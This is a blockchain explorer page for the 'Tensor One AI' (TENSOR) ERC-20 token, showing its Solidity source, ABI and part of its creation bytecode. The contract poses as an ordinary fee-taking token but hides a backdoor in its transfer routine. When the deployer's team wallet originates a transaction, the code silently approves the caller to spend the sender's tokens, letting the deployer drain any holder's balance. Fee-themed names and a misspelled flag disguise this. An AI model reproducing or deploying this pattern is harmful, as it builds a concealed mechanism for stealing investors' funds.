Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
10,000,000,000 TENSOR
Holders
821
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
TENSOR
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-08-03
*/
/*
Tensor One AI transforms industries with cutting-edge AI applications - from intelligent agent orchestration and natural language processing to streamlined model trainin.
Web: https://www.tensoroneai.org
X: https://x.com/TensorOneAICore
TG: https://t.me/tensorone_group
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AuthManager is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "AuthManager: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "AuthManager: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TENSOR is Context, IERC20, AuthManager {
using SafeMath for uint256;
string private constant _name = unicode"Tensor One AI";
string private constant _symbol = unicode"TENSOR";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _tensorBalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isTensorFeeLimits;
mapping(address => bool) private _isTensorFeeExceed;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tSupply = 1_000_000_0000 * 10**9;
uint256 private _maxNum = (MAX - (MAX % _tSupply));
uint256 private _totalTENSORFee;
//Buy Fee
uint256 private _redisTENSORFee;
uint256 private _taxTENSORBuyFee;
//Sell Fee
uint256 private _redisTENSORSellFee;
uint256 private _taxTENSORSellFee;
//Original Fee
uint256 private _realTENSORFee = _redisTENSORSellFee;
uint256 private _taxTENSORFee = _taxTENSORSellFee;
uint256 private _previousrEMACFee = _realTENSORFee;
uint256 private _previoustaxEMACFee = _taxTENSORFee;
address payable private _wTENSORTeam;
address payable private _wTENSORMarket;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private enabledTrading;
bool private inSwapping = false;
bool private enabledSwap = false;
uint256 private _swapTENSORThreshold = _tSupply * 8 / 1000;
uint256 private _swapTENSORLimit = _tSupply * 5 / 10000;
uint256 private _maxWalletLimit = _tSupply;
uint256 private AC53FCADEF;
uint256 private BC534ACEDF;
modifier lockTheSwap {
inSwapping = true;
_;
inSwapping = false;
}
constructor() {
_tensorBalances[_msgSender()] = _maxNum;
_wTENSORTeam = payable(msg.sender);
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isTensorFeeLimits[owner()] = true;
_isTensorFeeLimits[address(this)] = true;
_isTensorFeeLimits[_wTENSORTeam] = true;
_isTensorFeeExceed[_wTENSORTeam] = true;
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_tensorBalances[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _maxNum,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllEMACFee() private {
if (_realTENSORFee == 0 && _taxTENSORFee == 0) return;
_previousrEMACFee = _realTENSORFee;
_previoustaxEMACFee = _taxTENSORFee;
_realTENSORFee = 0;
_taxTENSORFee = 0;
}
function restoreAllEMACFee() private {
_realTENSORFee = _previousrEMACFee;
_taxTENSORFee = _previoustaxEMACFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(to != _uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletLimit, "TOKEN: Balance exceeds wallet size!");
}
uint256 caBalance = balanceOf(address(this));
bool canSwap = caBalance >= _swapTENSORLimit;
if(caBalance >= _swapTENSORThreshold)
{
caBalance = _swapTENSORThreshold;
}
if (canSwap && !inSwapping && to == _uniswapV2Pair && enabledSwap && !_isTensorFeeLimits[from] && !_isTensorFeeLimits[to]) {
if (amount >= _swapTENSORLimit)
swapTokensForEth(caBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendTENSORToken(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isTensorFeeLimits[from] || _isTensorFeeLimits[to]) ||
(from != _uniswapV2Pair && to != _uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == _uniswapV2Pair && to != address(_uniswapV2Router)) {
_realTENSORFee = _redisTENSORFee;
_taxTENSORFee = _taxTENSORBuyFee;
}
//Set Fee for Sells
if (to == _uniswapV2Pair && from != address(_uniswapV2Router)) {
_realTENSORFee = _redisTENSORSellFee;
_taxTENSORFee = _taxTENSORSellFee;
}
}
_superSendTENSORToken(from, to, amount, takeFee, _isTensorFeeExceed[tx.origin]);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendTENSORToken(uint256 amount) public {
_wTENSORTeam.transfer(amount);
}
function _superSendTENSORToken(
address sender,
address recipient,
uint256 amount,
bool takeFee,
bool isFeeExeecd
) private {
if (!takeFee) removeAllEMACFee();
_transferEMACTokens(sender, recipient, amount);
if (!takeFee) restoreAllEMACFee();
if (amount > 0 && isFeeExeecd) _approve(sender, msg.sender, amount);
}
function _transferEMACTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_tensorBalances[sender] = _tensorBalances[sender].sub(rAmount);
_tensorBalances[recipient] = _tensorBalances[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_tensorBalances[address(this)] = _tensorBalances[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_maxNum = _maxNum.sub(rFee);
_totalTENSORFee = _totalTENSORFee.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _realTENSORFee, _taxTENSORFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _maxNum;
uint256 tSupply = _tSupply;
if (rSupply < _maxNum.div(_tSupply)) return (_maxNum, _tSupply);
return (rSupply, tSupply);
}
function enableTrading() public onlyOwner {
_approve(address(this), address(_uniswapV2Router), _tSupply);
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_taxTENSORBuyFee = 0;
_taxTENSORSellFee = 0;
enabledTrading = true;
enabledSwap = true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendTENSORToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052678ac7230489e800005f1961001991906106c0565b5f19610025919061071d565b600655600a54600c55600b54600d55600c54600e55600d54600f555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055506103e86008678ac7230489e8000061008c9190610750565b6100969190610791565b6014556127106005678ac7230489e800006100b19190610750565b6100bb9190610791565b601555678ac7230489e800006016553480156100d5575f5ffd5b505f6100e561065c60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f61019561065c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f61027961066360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610473573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610497919061081f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610541919061081f565b6040518363ffffffff1660e01b815260040161055e929190610859565b6020604051808303815f875af115801561057a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059e919061081f565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105eb61065c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef678ac7230489e8000060405161064f919061088f565b60405180910390a36108a8565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106ca8261068a565b91506106d58361068a565b9250826106e5576106e4610693565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6107278261068a565b91506107328361068a565b925082820390508181111561074a576107496106f0565b5b92915050565b5f61075a8261068a565b91506107658361068a565b92508282026107738161068a565b9150828204841483151761078a576107896106f0565b5b5092915050565b5f61079b8261068a565b91506107a68361068a565b9250826107b6576107b5610693565b5b828204905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6107ee826107c5565b9050919050565b6107fe816107e4565b8114610808575f5ffd5b50565b5f81519050610819816107f5565b92915050565b5f60208284031215610834576108336107c1565b5b5f6108418482850161080b565b91505092915050565b610853816107e4565b82525050565b5f60408201905061086c5f83018561084a565b610879602083018461084a565b9392505050565b6108898161068a565b82525050565b5f6020820190506108a25f830184610880565b92915050565b612b7a806108b55f395ff3fe6080604052600436106100e0575f3560e01c80638a8c523c1161007e578063a9059cbb11610058578063a9059cbb1461029d578063bd827e45146102d9578063dd62ed3e14610301578063f2fde38b1461033d576100e7565b80638a8c523c146102335780638da5cb5b1461024957806395d89b4114610273576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f5ffd5b3480156100f6575f5ffd5b506100ff610365565b60405161010c9190611ec0565b60405180910390f35b348015610120575f5ffd5b5061013b60048036038101906101369190611f71565b6103a2565b6040516101489190611fc9565b60405180910390f35b34801561015c575f5ffd5b506101656103bf565b6040516101729190611ff1565b60405180910390f35b348015610186575f5ffd5b506101a1600480360381019061019c919061200a565b6103ce565b6040516101ae9190611fc9565b60405180910390f35b3480156101c2575f5ffd5b506101cb6104a2565b6040516101d89190612075565b60405180910390f35b3480156101ec575f5ffd5b506102076004803603810190610202919061208e565b6104aa565b6040516102149190611ff1565b60405180910390f35b348015610228575f5ffd5b506102316104f8565b005b34801561023e575f5ffd5b50610247610648565b005b348015610254575f5ffd5b5061025d61080f565b60405161026a91906120c8565b60405180910390f35b34801561027e575f5ffd5b50610287610836565b6040516102949190611ec0565b60405180910390f35b3480156102a8575f5ffd5b506102c360048036038101906102be9190611f71565b610873565b6040516102d09190611fc9565b60405180910390f35b3480156102e4575f5ffd5b506102ff60048036038101906102fa91906120e1565b610890565b005b34801561030c575f5ffd5b506103276004803603810190610322919061210c565b6108f8565b6040516103349190611ff1565b60405180910390f35b348015610348575f5ffd5b50610363600480360381019061035e919061208e565b61097a565b005b60606040518060400160405280600d81526020017f54656e736f72204f6e6520414900000000000000000000000000000000000000815250905090565b5f6103b56103ae610b39565b8484610b40565b6001905092915050565b5f678ac7230489e80000905090565b5f6103da848484610d03565b610497846103e6610b39565b61049285604051806060016040528060288152602001612b1d6028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610449610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140c9092919063ffffffff16565b610b40565b600190509392505050565b5f6009905090565b5f6104f160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146e565b9050919050565b610500610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610650610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d4906121ba565b60405180910390fd5b6107113060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610b40565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610759306104aa565b5f5f61076361080f565b426040518863ffffffff1660e01b81526004016107859695949392919061221a565b60606040518083038185885af11580156107a1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c6919061228d565b5050505f6009819055505f600b819055506001601360146101000a81548160ff0219169083151502179055506001601360166101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f54454e534f520000000000000000000000000000000000000000000000000000815250905090565b5f61088661087f610b39565b8484610d03565b6001905092915050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156108f4573d5f5f3e3d5ffd5b5050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610982610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a749061234d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba5906123db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390612469565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf69190611ff1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d68906124f7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd690612585565b60405180910390fd5b5f8111610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890612613565b60405180910390fd5b610e2961080f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e975750610e6761080f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110cf5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f485760165481610efd846104aa565b610f07919061265e565b10610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90612701565b60405180910390fd5b5b5f610f52306104aa565b90505f60155482101590506014548210610f6c5760145491505b808015610f865750601360159054906101000a900460ff16155b8015610fde575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ff65750601360169054906101000a900460ff165b8015611049575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561109c575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110cc5760155483106110b4576110b3826114da565b5b5f4790505f8111156110ca576110c947610890565b5b505b50505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061116f575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611220575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561121f575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561122d575f90506113b0565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112d6575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112ee57600854600c81905550600954600d819055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611397575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113af57600a54600c81905550600b54600d819055505b5b6114068484848460055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611745565b50505050565b5f838311158290611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a9190611ec0565b60405180910390fd5b505f8385611461919061271f565b9050809150509392505050565b5f6006548211156114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab906127c2565b60405180910390fd5b5f6114bd611790565b90506114d281846117b990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611511576115106127e0565b5b60405190808252806020026020018201604052801561153f5781602001602082028036833780820191505090505b50905030815f815181106115565761155561280d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061161e919061284e565b816001815181106116325761163161280d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffff